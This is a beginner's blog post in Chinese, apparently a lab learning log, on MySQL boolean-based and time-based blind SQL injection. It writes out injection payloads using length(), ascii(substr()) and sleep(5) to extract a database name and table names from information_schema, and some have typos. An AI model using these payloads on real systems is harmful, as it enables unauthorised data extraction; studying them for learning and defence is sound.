大哥带我走渗透ii--时间盲注,布尔盲注

5/27

基于布尔的盲注

  1. 我连题目都看不懂555,先去补充一点知识。https://blog.csdn.net/weixin_40709439/article/details/81355856
  2. 返回的true或者false
    •  构造payload让信息通过错误提示回显出来,一种类型(其它的暂时不怎么了解)是先报字段数,再利用后台数据库报错机制回显(跟一般的报错区别是,一般的报错注入是爆出字段数后,在此基础通过正确的查询语句,使结果回显到页面;
    •  后者是在爆出字段数的基础上使用能触发SQL报错机制的注入语句
  3. 接下来看看是否报

 

 

在这里我多加了一个‘  ,说明前面是一个完整的一对单引号;

4. 开始测试

  • 第一步我们测试长度

 

构造语句:

...... and lenth((select database()))>5 #查询当前数据库字段的长度

.......错误,说明太长了。

大于3成立,小于4也成立,大于4不成立,所以length取3,但是实际的要加一,长度就是4;大于他就取他+1

5.利用substr()ascii()函数进行尝试,猜测数据库中的第一个表的第一个字符;

ascii(x)=101,判断x的ascii码是否等于101,即email中的字母e

substr(a,b,c)从 b 位置开始, 截取字符串 a 的 c 长度

ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101

这里,大于100成立,测试得出取115

SELECT * FROM admin WHERE id = 1 and ascii(substr((select database()),1,1))>115

6.我们继续测试其他字段,一共有4个;虽然组长哪里有答案,但是我还是自己测试了(最后一个除外),,emmmm练手??

  • SELECT * FROM admin WHERE id = 1 and ascii(substr((select database()),1,1))>115    # 116 t
  • SELECT * FROM admin WHERE id = 1 and ascii(substr((select database()),2,1))>100   # e
  • SELECT * FROM admin WHERE id = 1 and ascii(substr((select database()),3,1))>114   # s
  • SELECT * FROM admin WHERE id = 1 and ascii(substr((select database()),4,1))>115   # t

 

 

 

6.所以该数据库的名字为test,接下来我们判断数据库中有多少表

length((select table_name from information_schema.tables where table_schema='test' limit 0,1))>5 
#

组长这里写的长度为4,但是我觉得应该是5;

7.构造爆表语句:

表一:

  • ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1))>96
  • ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),2,1))>???
  • ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),3,1))>96
  • ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),4,1))>96
  • ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),5,1))>96

表二:

  • ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 1,1),1,1))>96

 

 

 

 

username password

 

5/27  mysql注入 基于时间的盲注

1.基于时间盲注,类似于基于布尔的盲注,通过注入特定语句,根据判断结果的对错将会出现一定时间的网页请求响应的延时。

https://www.cnblogs.com/-zhong/p/10931563.html

2.and1=1  and1=2 都是一样的界面

https://blog.csdn.net/DarkHQ/article/details/79274376

3.检测语句:利用sleep()函数进行延时注入

 and if(ascii(substr((select database()),1,1))>10000,1,sleep(5))  #返回是错误就延时5秒,if(a,b,c),如果条件b

300

 

4.开始猜长度,构造语句:

if(length((select database()))>3,1,sleep(5))

所以字段有4位,

5.接下来就开始爆表名。

构造语句:

  • if(ascii(substr((select database()),1,1))=??,1,sleep(5),1)
  • if(ascii(substr((select database()),2,1))=??,1,sleep(5),1)
  • if(ascii(substr((select database()),3,1))=??,1,sleep(5),1)
  • if(ascii(substr((select database()),4,1))=??,1,sleep(5),1)

这个就很不一样了,,睡代表真===

所以得到第一个字母:116 t

最后得出:test

6.开始构造第一个字母。

?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1))>100,1,sleep(5))

 

后面是,爆完字段爆表名,报完表名爆表里面的单个字名,

 ===写不来了。。。看组长的===https://www.cnblogs.com/-zhong/p/10931563.html

 

posted @ 2019-05-27 22:32  这醋好甜  阅读(205)  评论(0编辑  收藏  举报